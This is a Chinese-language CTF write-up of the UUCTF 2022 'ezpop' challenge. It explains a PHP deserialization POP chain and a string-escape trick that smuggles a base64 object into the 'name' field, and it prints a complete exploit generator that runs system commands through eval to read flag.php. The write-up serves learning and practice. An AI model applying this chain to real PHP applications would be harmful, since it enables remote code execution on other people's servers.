新手大白话 UUCTF 2022 新生赛ezpop 字符串逃逸

今天做个字符串逃逸的题目,这个题还挺不错的,不多bb直接看源码。

点击查看代码
 <?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

刚拿到题还有点懵b,和之前做的逃逸有些不一样。我们找出代码中的注入点,发现在youwant类中出现了eval的命令执行函数,思路瞬间清晰,但是如何进行输出,发现在nothing类中有die方法,同时die也是触发tostring魔术方法的方式,因为die函数如果status是字符串,则该函数会在退出前输出字符串,好直接构造pop链。
youwant rce -> output _tostring -> nothing die
在到这里的时候我没有注意到php的版本问题,由于这里php版本是7.2.34,不能利用更改参数个数绕过wakeup,所以这里卡了好久。看到__destruct里面将t赋给了b,a不能改,但是我们可以让a、b同用一个地址,那么b发生变化,a也随之变化。

点击查看代码
papyload:
<?
class output{
    public $a;  // 1 youwant
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;  // 2 output
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;  // 注入点
    function rce(){
        eval($this->cmd);
    }
}

$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
echo serialize($c);
到这里已经完成了一半,我们发现
点击查看代码
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
我们需要post的参数时data,但是data先经过序列化操作new了一个UUCTF,参数是我们POST的数据,进入UUCTF看看。
点击查看代码
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
查看代码我们发现__construct接收传入的参数$pdata传给了name,在__wakeup中判断key的值,然后将$basedata进行base64解码和反序列化操作输出给$ob,那么这时我们上边所生成的序列化数据就有用处了。我们先生成正常的UUCTF序列化数据
点击查看代码
<?
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
$a = new UUCTF();
$a->key=""UUCTF";
$a->base64data = 刚刚生成的序列化数据的base64编码;
echo serialize($a);
得到序列化数据如下:
点击查看代码
O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
因为basedata不能做更改,所以我们可以从name参数下手,在传入参数时会将hacker替换为loveuu!,这对我们来说是不是多了一个字符(这里需要有字符串逃逸的基础,不会的先去看https://blog.csdn.net/qq_43632414/article/details/120499159)
点击查看代码
;s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
上面这个字符串一共有214个字符,我们需要构造214个hacker来进行逃逸,到最后整个序列化数据就变为了:
点击查看代码
{s:4:"name";s:1070:"214个hacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
下面这个就是name就是我们要的$pdata
点击查看代码
214个hacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
最后直接上payload:
点击查看代码
 <?php
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;  // 1 youwant
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;  // 2 output
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;  // 注入点
    function rce(){
        eval($this->cmd);
    }
}

$a = new youwant();
$a->cmd = 'system("tac flag.php");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));

echo strlen($basedata);
echo "\n";

$post='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
for($i=0;$i<strlen($post);$i++)
{
  $hacker=$hacker.'hacker';

}
echo $hacker.$post;
总结:还是有难度的,比较新颖。
posted @ 2024-04-17 13:29  jockerliu  阅读(130)  评论(0编辑  收藏  举报